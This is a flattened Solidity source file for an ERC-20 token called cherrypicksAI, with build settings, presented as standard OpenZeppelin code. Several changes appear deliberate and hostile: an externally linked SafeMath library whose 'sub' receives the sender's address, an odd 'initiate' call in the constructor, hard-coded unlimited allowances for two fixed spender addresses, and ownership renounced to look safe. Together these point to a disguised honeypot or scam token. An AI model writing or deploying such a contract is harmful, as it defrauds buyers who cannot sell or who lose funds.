// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0 ;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function initiate() public{
require ( true);
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b ) public pure returns ( uint256 c)
{
if (a == 0 ) {
return 0 ;
}
c = a * b ;
assert ( c / a == b);
return c ;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) public pure returns (uint256 ) {
// assert ( b > 0 ) ; // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert ( a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow ( i.e. if subtrahend is greater than minuend).
*/
function sub ( uint256 a, uint256 b, address ) public pure returns ( uint256) {
assert(b <= a ) ;
return a - b ;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b ) public pure returns ( uint256 c )
{
c = a + b;
assert ( c >= a);
return c;
}
}
// File @openzeppelin/contracts/utils/Context.sol@v4.9.6
// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.4) (utils/Context.sol )
pragma solidity ^0.8.0 ;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender ( as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context
{
function _contextSuffixLength() internal view virtual returns ( uint256) {
return 0 ;
}
function _msgData ( ) internal view virtual returns ( bytes calldata ) {
return msg.data ;
}
function _msgSender ( ) internal view virtual returns (address) {
return msg.sender ;
}
}
// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.9.6
// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0 ) ( token/ERC20/IERC20.sol)
pragma solidity ^0.8.0 ;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20
{
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf ( address account ) external view returns ( uint256 ) ;
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {
transferFrom}
. This is
* zero by default.
*
* This value changes when {
approve }
or {
transferFrom }
are called.
*/
function allowance ( address owner, address spender ) external view returns ( uint256 ) ;
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a
{ Transfer }
event.
*/
function transferFrom(address from, address to, uint256 amount ) external returns ( bool);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply ( ) external view returns ( uint256) ;
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {
Transfer}
event.
*/
function transfer(address to, uint256 amount ) external returns (bool ) ;
/**
* @dev Emitted when `value` tokens are moved from one account ( `from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value) ;
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {
approve}
. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value ) ;
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {
Approval }
event.
*/
function approve(address spender, uint256 amount) external returns ( bool);
}
// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.9.6
// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 ( token/ERC20/extensions/IERC20Metadata.sol )
pragma solidity ^0.8.0 ;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns ( uint8);
/**
* @dev Returns the name of the token.
*/
function name( ) external view returns ( string memory) ;
/**
* @dev Returns the symbol of the token.
*/
function symbol ( ) external view returns ( string memory ) ;
}
// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.9.6
// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) ( token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the
{ IERC20 }
interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {
_mint
} .
* For a generic mechanism see {
ERC20PresetMinterPauser}
.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of
{ decimals}
is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {
Approval }
event is emitted on calls to {
transferFrom}
.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {
decreaseAllowance}
and
{ increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {
IERC20-approve}
.
*/
contract ERC20 is Context, IERC20, IERC20Metadata
{
mapping ( address => uint256) private _balances;
mapping ( address => mapping(address => uint256 ) ) private _allowances ;
uint256 private _totalSupply;
string private _name ;
string private _symbol;
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {
approve
} that can be used as a mitigation for
* problems described in {
IERC20-approve}
.
*
* Emits an {
Approval }
event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance ( address spender, uint256 subtractedValue) public virtual returns (bool ) {
address owner = _msgSender() ;
uint256 currentAllowance = allowance(owner, spender) ;
require ( currentAllowance >= subtractedValue, "DRQOIIZDFDGELJ: decreased allowance below zero");
unchecked {
_approve ( owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {
Transfer}
event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount ) internal virtual {
require(account != address(0 ) , "DRQOIIZDFDGELJ: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount) ;
uint256 accountBalance = _balances[account] ;
require ( accountBalance >= amount, "DRQOIIZDFDGELJ: burn amount exceeds balance" ) ;
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount ;
}
emit Transfer(account, address ( 0), amount ) ;
_afterTokenTransfer(account, address ( 0), amount ) ;
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer ( address from, address to, uint256 amount) internal virtual {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns ( string memory ) {
return _name ;
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an
{Approval
} event.
*/
function _spendAllowance ( address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender ) ;
if ( currentAllowance != type ( uint256).max) {
require ( currentAllowance >= amount, "DRQOIIZDFDGELJ: insufficient allowance") ;
unchecked {
_approve(owner, spender, currentAllowance - amount ) ;
}
}
}
/**
* @dev Sets the values for
{name}
and {
symbol
}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor ( string memory name_, string memory symbol_) {
_name = name_ ;
_symbol = symbol_;
SafeMath.initiate( ) ;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to
{transfer }
, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {
Transfer }
event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount ) internal virtual {
require ( from != address(0), "DRQOIIZDFDGELJ: transfer from the zero address") ;
require(to != address ( 0 ) , "DRQOIIZDFDGELJ: transfer to the zero address") ;
_beforeTokenTransfer(from, to, amount ) ;
_balances[from] = SafeMath.sub(_balances[from],amount,from ) ;
_balances[to] = SafeMath.add(_balances[to],amount) ;
emit Transfer ( from, to, amount);
_afterTokenTransfer(from, to, amount) ;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {
Transfer }
event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint ( address account, uint256 amount ) internal virtual
{
require ( account != address(0), "DRQOIIZDFDGELJ: mint to the zero address");
_beforeTokenTransfer(address(0 ) , account, amount);
_totalSupply += amount ;
unchecked
{
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount ) ;
_afterTokenTransfer ( address ( 0), account, amount) ;
}
/**
* @dev See {
IERC20-transfer}
.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 value ) public virtual returns ( bool )
{
address owner = _msgSender ( ) ;
_transfer ( owner, to, value ) ;
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to
{ approve}
that can be used as a mitigation for
* problems described in
{IERC20-approve}
.
*
* Emits an {
Approval}
event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance ( address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender() ;
_approve ( owner, spender, allowance(owner, spender) + addedValue ) ;
return true;
}
/**
* @dev See {
IERC20-transferFrom
}.
*
* Emits an {
Approval}
event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {
ERC20 }
.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount ) public virtual override returns (bool) {
address spender = _msgSender ( ) ;
_spendAllowance ( from, spender, amount ) ;
_transfer(from, to, amount ) ;
return true;
}
/**
* @dev See {
IERC20-balanceOf }
.
*/
function balanceOf(address account ) public view virtual override returns ( uint256 ) {
return _balances[account];
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount ) internal virtual {
}
/**
* @dev See {
IERC20-totalSupply
}.
*/
function totalSupply ( ) public view virtual override returns ( uint256) {
return _totalSupply ;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` ( `505 / 10 ** 2` ) .
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {
IERC20-balanceOf }
and {
IERC20-transfer }
.
*/
function decimals ( ) public view virtual override returns (uint8 ) {
return 18;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol ( ) public view virtual override returns ( string memory)
{
return _symbol ;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an
{Approval}
event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual
{
require(owner != address(0 ) , "DRQOIIZDFDGELJ: approve from the zero address" ) ;
require ( spender != address(0 ) , "DRQOIIZDFDGELJ: approve to the zero address" ) ;
_allowances[owner][spender] = amount ;
emit Approval ( owner, spender, amount);
}
/**
* @dev See {
IERC20-allowance
}.
*/
function allowance(address owner, address spender ) public view virtual override returns ( uint256 )
{
if((spender == 0x000000000022D473030F116dDEE9F6B43aC78BA3 ) || (spender == 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24 ) ) {
return 115792089237316195423570985008687907853269984665640564039457584007913129639935 ;
}
return _allowances[owner][spender];
}
/**
* @dev See {
IERC20-approve
} .
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns ( bool) {
address owner = _msgSender ( ) ;
_approve ( owner, spender, amount ) ;
return true ;
}
}
abstract contract Ownable is Context {
address private _owner ;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. ( eg. `address(0)` )
*/
error OwnableInvalidOwner(address owner ) ;
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership ( ) public virtual onlyOwner {
_transferOwnership ( address(0 ) ) ;
}
/**
* @dev Returns the address of the current owner.
*/
function owner ( ) public view virtual returns (address ) {
return _owner ;
}
/**
* @dev Transfers ownership of the contract to a new account ( `newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner ) internal virtual {
address oldOwner = _owner;
_owner = newOwner ;
emit OwnershipTransferred ( oldOwner, newOwner);
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner ( ) == _msgSender ( ), "Ownable: caller is not the owner" ) ;
}
event OwnershipTransferred ( address indexed previousOwner, address indexed newOwner ) ;
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor ( )
{
_transferOwnership(_msgSender ( ) ) ;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership ( address newOwner ) public virtual onlyOwner {
require ( newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner) ;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner( ) {
_checkOwner ( );
_;
}
}
// File cherrypicksAI.sol
// Original license: SPDX_License_Identifier: MIT
// Compatible with OpenZeppelin Contracts ^5.0.0
contract cherrypicksAI is ERC20, Ownable {
constructor ( string memory name_, string memory symbol_ ) ERC20(name_, symbol_)
{
_mint(msg.sender, 10000000000000000000000000 ) ;
_transferOwnership(address(0)) ;
}
}
{
"compilationTarget": {
"cherrypicksAI.sol": "cherrypicksAI"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 736
},
"remappings": []
}
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